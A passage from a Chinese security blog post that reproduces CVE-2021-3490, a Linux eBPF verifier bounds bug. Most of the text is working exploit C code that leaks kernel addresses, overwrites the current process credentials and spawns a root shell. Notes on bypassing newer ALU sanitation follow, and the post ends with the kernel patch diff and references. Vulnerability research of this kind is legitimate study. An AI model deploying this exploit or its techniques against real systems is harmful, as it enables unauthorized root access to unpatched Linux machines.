int key;
size_t value[0x1000];

puts("[*] Loading value into map...");
key = 0;
value[0] = 0;
if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
err_exit("FAILED to load value into map!");
}

for (int i = 0; i < (0x110 / 8); i++) {
struct bpf_insn prog[] = {
TRIGGER_VULN(map_fd),
MAKE_VULN_REG(map_fd),
READ_MAP_DATA(map_fd, (0x110 - 0x8 * i)),
BPF_EXIT_INSN()
};

if (run_bpf_prog(prog, sizeof(prog) / sizeof(prog[0]), 1, 0) < 0) {
err_exit("FAILED to run bpf prog!");
}

key = 1;
if (bpf_map_lookup_elem(map_fd, &key, &value) < 0) {
err_exit("FAILED to look up the map!");
}
map_data[i] = value[0];
}

for (int i = 0; i < (0x200 / 8); i++) {
printf("[----data dump----][%d] %lx\n", i, map_data[i]);
}
}

int main(int argc , char **argv, char **envp)
{
int map_fd;
int key;
size_t value[0x1000];
int log_fd;

puts("\033[32m\033[1m[=] CVE-2021-3490 explotation by arttnba3\033[0m");

puts("\n[*] Creating new eBPF map...");
map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, 4, MAP_SIZE, 0x100);
if (map_fd < 0) {
err_exit("FAILED to create eBPF map!");
}

puts("\n[*] Loading value into map...");
key = 0;
value[0] = 0;
if (bpf_map_update_elem(map_fd, &key, &value, 0) < 0) {
err_exit("FAILED to load value into map!");
}

puts("\n[*] Leaking addr of bpf_map.ops ...");
if (leak_map_ops_addr(map_fd) < 0) {
err_exit("FAILED to run the eBPF prog!");
}

puts("\n[*] Checking for leek...");
key = 1;
if (bpf_map_lookup_elem(map_fd, &key, &value) < 0) {
err_exit("FAILED to look up value!");
}
if (value[0] < 0xffffffff81000000) {
printf("[x] Got bad value: %lx\n", value[0]);
err_exit("FAILED to leak kernel info!");
}

map_ops_addr = value[0];
kernel_offset = map_ops_addr - ARRAY_MAP_OPS;
kernel_base += kernel_offset;
init_cred = INIT_CRED + kernel_offset;
printf("\033[32m\033[1m[+] Get array_map_ops leak: \033[0m%lx\n", value[0]);
printf("\033[34m\033[1m[*] kernel_offset: \033[0m%lx\n", kernel_offset);
printf("\033[32m\033[1m[+] kernel_base: \033[0m%lx\n", kernel_base);

puts("\n[*] Leaking addr of bpf_map ...");
if (leak_map_addr(map_fd) < 0) {
err_exit("FAILED to run the eBPF prog!");
}

puts("\n[*] Checking for leek...");
key = 1;
if (bpf_map_lookup_elem(map_fd, &key, &value) < 0) {
err_exit("FAILED to look up value!");
}
if (value[0] < 0xffff000000000000) {
printf("[x] Got bad value: %lx\n", value[0]);
err_exit("FAILED to leak addr of bpf_map!");
}

map_addr = value[0] - 0x110;
printf("\033[32m\033[1m[+] Get addr of bpf_map: \033[0m%lx\n", map_addr);

puts("\n[*] Search for current task_struct's addr...");
current_task = search_for_current_task(map_fd);
current_cred = read_arbitrary_addr(map_fd, current_task + 0xad8);
printf("\033[32m\033[1m[+] Get current task_struct's addr: \033[0m%lx\n",
current_task);
printf("\033[32m\033[1m[+] Get current cred's addr: \033[0m%lx\n",
current_cred);

puts("\n[*] Hijacking the bpf_map...");
make_arbitrary_write_ops(map_fd);

puts("\n[*] Overwriting the current->cred...");
for (int i = 0; i < 8; i++) {
if (arbitrary_write_4_bytes_by_map(map_fd, current_cred+4+4*i, 0) < 0) {
printf("\033[31m\033[1m[x] Failed to ovwerwrite no.%d\033[0m\n", i);
err_exit("FAILED to call ops->map_push_elem()!");
}
}

/* record the log in to file here */
log_fd = open("./log.txt", O_RDWR | O_CREAT);
if (log_fd < 0) {
err_exit("FAILED to create log file!");
}
write(log_fd, bpf_log_buf, strlen(bpf_log_buf));
close(log_fd);

get_root_shell();

return 0;
}

运行即可完成提权:

image.png

第一次真正从头开始做 eBPF 相关的利用,说实话还是挺有意思的,不过虚拟机的各种实现细节确实比想象中要庞大得多(那一天,a3 终于回忆起本科阶段做用户态 vm pwn 逆向半天逆到头大的痛苦

Extra. New ALU Sanitation bypass

这个 commit 中 ALU Sanitation 又得到了进一步的加强:

  • alu_limit 的计算方式发生了改变,不是使用指针寄存器的当前位置,而是使用一个 offset 寄存器
  • 被认为是常数的寄存器赋值会被直接更改为常量赋值

这两个新特性的引入使得本文所用的攻击方法近乎完全失效,不过这并不代表我们不能完成利用,在 D^3CTF2022-d3bpf-v2 中来自 vidar-team 的 chuj 师傅展示了一个新的技巧——由于 bpf_skb_load_bytes() 会将一个 sk_buff 的数据读到栈上,因此我们可以利用运行时为 1、verifier 确信为 0 的寄存器构造一个较长的 len 参数,从而使得数据拷贝时发生栈溢出

我们或许还需要额外的办法泄露内核地址,一个可行的方式是直接造成 kernel oops 后通过 dmesg 泄露出内核信息,这个技巧对于总会设置 oops=panic 的 CTF 题并不可用,但是大部分的真实世界环境其实都不会在 soft panic 发生时直接 panic/proc/sys/kernel/panic_on_oops == 0),因此这个方法的可行性其实还是挺高的

0x03. 漏洞修复

这个 commit 中完成了对漏洞的修补操作,漏洞的修复方式也比较简单,只需要将缺失的设置 32 位边界的操作补充上就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 757476c91c984..9352a1b7de2dd 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -7084,11 +7084,10 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;

- /* Assuming scalar64_min_max_and will be called so its safe
- * to skip updating register for known 32-bit case.
- */
- if (src_known && dst_known)
+ if (src_known && dst_known) {
+ __mark_reg32_known(dst_reg, var32_off.value);
return;
+ }

/* We get our minimum from the var_off, since that's inherently
* bitwise. Our maximum is the minimum of the operands' maxima.
@@ -7108,7 +7107,6 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
dst_reg->s32_min_value = dst_reg->u32_min_value;
dst_reg->s32_max_value = dst_reg->u32_max_value;
}
-
}

static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
@@ -7155,11 +7153,10 @@ static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
s32 smin_val = src_reg->s32_min_value;
u32 umin_val = src_reg->u32_min_value;

- /* Assuming scalar64_min_max_or will be called so it is safe
- * to skip updating register for known case.
- */
- if (src_known && dst_known)
+ if (src_known && dst_known) {
+ __mark_reg32_known(dst_reg, var32_off.value);
return;
+ }

/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
@@ -7224,11 +7221,10 @@ static void scalar32_min_max_xor(struct bpf_reg_state *dst_reg,
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;

- /* Assuming scalar64_min_max_xor will be called so it is safe
- * to skip updating register for known case.
- */
- if (src_known && dst_known)
+ if (src_known && dst_known) {
+ __mark_reg32_known(dst_reg, var32_off.value);
return;
+ }

/* We get both minimum and maximum from the var32_off. */
dst_reg->u32_min_value = var32_off.value;

笔者认为这个修补方式还是比较成功的

0xFF. REFERENCE

【kernel exploit】CVE-2021-3490 eBPF 32位边界计算错误漏洞

eBPF漏洞CVE-2021-3490分析与利用

ebpf-pwn-A-Love-Story

D^3CTF2022-d3bpf,d3bpf-v2-WP


【CVE.0x0A】CVE-2021-3490 漏洞复现及简要分析
https://arttnba3.github.io/2023/06/04/CVE-0X0A-CVE-2021-3490/
作者
arttnba3
发布于
2023年6月4日
许可协议